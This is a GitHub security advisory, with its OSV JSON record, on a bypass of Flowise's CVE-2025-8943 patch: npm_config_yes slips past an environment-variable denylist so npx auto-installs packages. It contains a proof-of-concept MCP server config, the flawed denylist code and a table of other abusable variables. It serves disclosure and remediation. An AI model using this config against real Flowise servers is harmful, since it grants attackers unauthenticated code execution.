GHSA-XC48-889X-5QMW
Vulnerability from github – Published: 2026-08-04 17:09 – Updated: 2026-08-04 17:09Summary
The mitigation shipped for CVE-2025-8943 blocks the -y and --yes flags on npx to stop auto-installation of arbitrary packages. That flag filter works. The environment-variable check in the same patch denies only four variable names by exact string match, and npm reads its configuration directly from npm_config_* environment variables. Setting npm_config_yes=true reproduces the --yes behaviour the flag filter is meant to prevent, so npx auto-installs and executes the named package. The mitigation is fully bypassed.
This works with the MCP security check enabled (CUSTOM_MCP_SECURITY_CHECK=true). On a default Flowise deployment, which ships with no authentication, the result is unauthenticated remote code execution.
Root cause
The patch treats this as a flag-filtering problem, but the behaviour gated by --yes is also reachable through npm's environment-based configuration. The same is true for the other permitted interpreters, node and python3. A denylist of variable names cannot enumerate every environment variable that alters execution, so the control is incomplete by construction. The fix is to allowlist (or strip) the environment before it reaches the child process, not to extend the denylist.
Affected version
Flowise 3.1.1, current as of 2026-03-29.
Details
Validation happens in packages/components/nodes/tools/MCP/core.ts. Two functions run in sequence before any MCP server launches: validateCommandFlags and validateEnvironmentVariables.
validateCommandFlags is thorough. It blocks -y and --yes along with a comprehensive set of dangerous flags across npx, node, python, python3, and docker. That part of the patch is sound.
The gap is in validateEnvironmentVariables:
export const validateEnvironmentVariables = (env: Record<string, any>): void => {
const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH', 'NODE_OPTIONS']
for (const [key, value] of Object.entries(env)) {
if (dangerousEnvVars.includes(key)) {
throw new Error(`Environment variable '${key}' modification is not allowed`)
}
if (typeof value === 'string' && value.includes('\0')) {
throw new Error(`Environment variable '${key}' contains null byte`)
}
}
}
The blocklist is a hardcoded four-item array checked by exact match. Any variable not in that list passes through unchecked. npm_config_yes is npm's documented mechanism for setting the yes config via the environment. Set to true, it causes npx to auto-install without prompting, which is exactly what the -y and --yes flag blocks are intended to prevent.
Proof of concept
The following MCP server configuration bypasses the patch with CUSTOM_MCP_SECURITY_CHECK=true:
{
"mcpServers": {
"bypass": {
"command": "npx",
"args": ["malicious-package"],
"env": {
"npm_config_yes": "true"
}
}
}
}
Execution path:
validateCommandFlagspasses, becauseargscontains no blocked flags.validateEnvironmentVariablespasses, becausenpm_config_yesis not in the four-item blocklist.npxauto-installs and executes the named package with the privileges of the Flowise process.
On a default deployment with no authentication, any unauthenticated user who can reach the Flowise API can trigger this.
Additional bypass vectors (same root cause)
The following variables are also absent from the blocklist and influence execution through the other permitted interpreters:
| Variable | Command | Effect |
|---|---|---|
npm_config_prefix |
npx |
Redirects package installation to attacker-controlled path |
npm_config_userconfig |
npx |
Loads attacker-controlled .npmrc configuration |
NODE_PATH |
node |
Loads modules from attacker-controlled path |
PYTHONPATH |
python3 |
Loads modules from attacker-controlled path |
PYTHONSTARTUP |
python3 |
Executes a file on interpreter startup (interactive sessions only) |
Impact
Full remote code execution with the privileges of the Flowise process. On default deployments with no authentication, no credentials are required.
Remediation
Strip the env object before passing it to the child process, or replace the name blocklist with an allowlist of explicitly permitted variables.
Adding the known dangerous variables to the blocklist (npm_config_yes, npm_config_prefix, npm_config_userconfig, NODE_PATH, PYTHONPATH, PYTHONSTARTUP) narrows the immediate gap but is a stopgap. Any future permitted interpreter reintroduces the same class of bypass.
References
- CVE-2025-8943
- CWE-184: Incomplete List of Disallowed Inputs
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69263"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T17:09:48Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe mitigation shipped for CVE-2025-8943 blocks the `-y` and `--yes` flags on `npx` to stop auto-installation of arbitrary packages. That flag filter works. The environment-variable check in the same patch denies only four variable names by exact string match, and `npm` reads its configuration directly from `npm_config_*` environment variables. Setting `npm_config_yes=true` reproduces the `--yes` behaviour the flag filter is meant to prevent, so `npx` auto-installs and executes the named package. The mitigation is fully bypassed.\n\nThis works with the MCP security check enabled (`CUSTOM_MCP_SECURITY_CHECK=true`). On a default Flowise deployment, which ships with no authentication, the result is unauthenticated remote code execution.\n\n## Root cause\n\nThe patch treats this as a flag-filtering problem, but the behaviour gated by `--yes` is also reachable through `npm`\u0027s environment-based configuration. The same is true for the other permitted interpreters, `node` and `python3`. A denylist of variable names cannot enumerate every environment variable that alters execution, so the control is incomplete by construction. The fix is to allowlist (or strip) the environment before it reaches the child process, not to extend the denylist.\n\n## Affected version\n\nFlowise 3.1.1, current as of 2026-03-29.\n\n## Details\n\nValidation happens in `packages/components/nodes/tools/MCP/core.ts`. Two functions run in sequence before any MCP server launches: `validateCommandFlags` and `validateEnvironmentVariables`.\n\n`validateCommandFlags` is thorough. It blocks `-y` and `--yes` along with a comprehensive set of dangerous flags across `npx`, `node`, `python`, `python3`, and `docker`. That part of the patch is sound.\n\nThe gap is in `validateEnvironmentVariables`:\n\n```typescript\nexport const validateEnvironmentVariables = (env: Record\u003cstring, any\u003e): void =\u003e {\n const dangerousEnvVars = [\u0027PATH\u0027, \u0027LD_LIBRARY_PATH\u0027, \u0027DYLD_LIBRARY_PATH\u0027, \u0027NODE_OPTIONS\u0027]\n for (const [key, value] of Object.entries(env)) {\n if (dangerousEnvVars.includes(key)) {\n throw new Error(`Environment variable \u0027${key}\u0027 modification is not allowed`)\n }\n if (typeof value === \u0027string\u0027 \u0026\u0026 value.includes(\u0027\\0\u0027)) {\n throw new Error(`Environment variable \u0027${key}\u0027 contains null byte`)\n }\n }\n}\n```\n\nThe blocklist is a hardcoded four-item array checked by exact match. Any variable not in that list passes through unchecked. `npm_config_yes` is npm\u0027s documented mechanism for setting the `yes` config via the environment. Set to `true`, it causes `npx` to auto-install without prompting, which is exactly what the `-y` and `--yes` flag blocks are intended to prevent.\n\n## Proof of concept\n\nThe following MCP server configuration bypasses the patch with `CUSTOM_MCP_SECURITY_CHECK=true`:\n\n```json\n{\n \"mcpServers\": {\n \"bypass\": {\n \"command\": \"npx\",\n \"args\": [\"malicious-package\"],\n \"env\": {\n \"npm_config_yes\": \"true\"\n }\n }\n }\n}\n```\n\nExecution path:\n\n1. `validateCommandFlags` passes, because `args` contains no blocked flags.\n2. `validateEnvironmentVariables` passes, because `npm_config_yes` is not in the four-item blocklist.\n3. `npx` auto-installs and executes the named package with the privileges of the Flowise process.\n\nOn a default deployment with no authentication, any unauthenticated user who can reach the Flowise API can trigger this.\n\n## Additional bypass vectors (same root cause)\n\nThe following variables are also absent from the blocklist and influence execution through the other permitted interpreters:\n\n| Variable | Command | Effect |\n|---|---|---|\n| `npm_config_prefix` | `npx` | Redirects package installation to attacker-controlled path |\n| `npm_config_userconfig` | `npx` | Loads attacker-controlled `.npmrc` configuration |\n| `NODE_PATH` | `node` | Loads modules from attacker-controlled path |\n| `PYTHONPATH` | `python3` | Loads modules from attacker-controlled path |\n| `PYTHONSTARTUP` | `python3` | Executes a file on interpreter startup (interactive sessions only) |\n\n## Impact\n\nFull remote code execution with the privileges of the Flowise process. On default deployments with no authentication, no credentials are required.\n\n## Remediation\n\nStrip the `env` object before passing it to the child process, or replace the name blocklist with an allowlist of explicitly permitted variables.\n\nAdding the known dangerous variables to the blocklist (`npm_config_yes`, `npm_config_prefix`, `npm_config_userconfig`, `NODE_PATH`, `PYTHONPATH`, `PYTHONSTARTUP`) narrows the immediate gap but is a stopgap. Any future permitted interpreter reintroduces the same class of bypass.\n\n## References\n\n- CVE-2025-8943\n- CWE-184: Incomplete List of Disallowed Inputs",
"id": "GHSA-xc48-889x-5qmw",
"modified": "2026-08-04T17:09:48Z",
"published": "2026-08-04T17:09:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-xc48-889x-5qmw"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/6471"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/a4c4e4988cded15edf725e762560575b889ae351"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Flowise: CVE-2025-8943 Patch Bypass: npm_config_yes bypasses MCP environment variable blocklist (Unauthenticated RCE)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.